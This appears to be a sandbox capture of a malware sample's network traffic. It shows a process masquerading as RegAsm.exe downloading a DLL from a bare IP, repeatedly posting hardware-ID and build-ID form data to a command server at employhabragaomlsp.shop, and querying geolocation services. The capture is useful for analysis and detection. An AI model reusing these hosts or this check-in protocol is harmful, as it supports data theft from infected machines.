2024-05-24 07:42:58 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:42:58 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=std0so4l7jvindc6eba90k28hn; expires=Tue, 17-Sep-2024 01:29:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BjfifCXJU3XkOnM6LzDiXXhfKKW8sSD28J04cuOe23c6oL1d50rwKELQdJJxOg%2FPNnLoQqToRH0CbqFPzTW193QmlZIZBl68X0EQnJ%2FGRG%2Bk8A90ltlSIQfiZ87xRgr%2FEXK0nlrcmIsnVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6edcd957ce4-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49905	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:58 UTC	174	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:42:58 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:58 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-05-24 07:42:58 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-05-24 07:42:58 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-24 07:42:59 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-24 07:42:59 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49909	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1539 Host: employhabragaomlsp.shop
2024-05-24 07:42:58 UTC	1539	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:59 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e8j84coqlpcku0bbg3kqtjglqo; expires=Tue, 17-Sep-2024 01:29:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4NrbCRJ%2FYee1svmHcEM0yN1wFfaOHpWIliq%2B2gDpyV5VTUpChNnVxrAmdKWiIn2Qr7ItS3X1JTLDu%2FT7uZfKbgXBuWR7rsR2fj6gotHALTurgmDg8Q3HmnPyGl19WB5y6CwFddZiZA8lww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6f1bca943c4-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49912	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:59 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 07:42:59 UTC	895	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V2FM4vJ92XK3ci0MxYjg6hKCI1E3o2cO9Y8GL83%2BrFgR4D%2BtuM9bBDUq%2FW%2BCFxJ14uahHfUFiucJ8ECvNuSBhzt7LUoNvr5MmH04v4ylu2%2FP%2FPzNa7mF5Z1XV8VU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6f3f90b438b-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:59 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 07:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49914	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:59 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 07:42:59 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:59 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i6iobuhuhgdqiliu8mhih1s5kc; expires=Tue, 17-Sep-2024 01:29:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IVxe8Oikrl2ZJ0DFkYSyp5GIjuGCblFlMrBLPIMjErz%2Bo7KhCqpKHD2KqTf9VjeOG7nKJrzarW%2F7i1kBX6T4Smtq66cSakzC8BpukewESdgynH6UbCI1wInRRU16432e9EDuOFf8RTTMuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6f5ad947cf3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49916	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:59 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:59 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:59 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:59 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
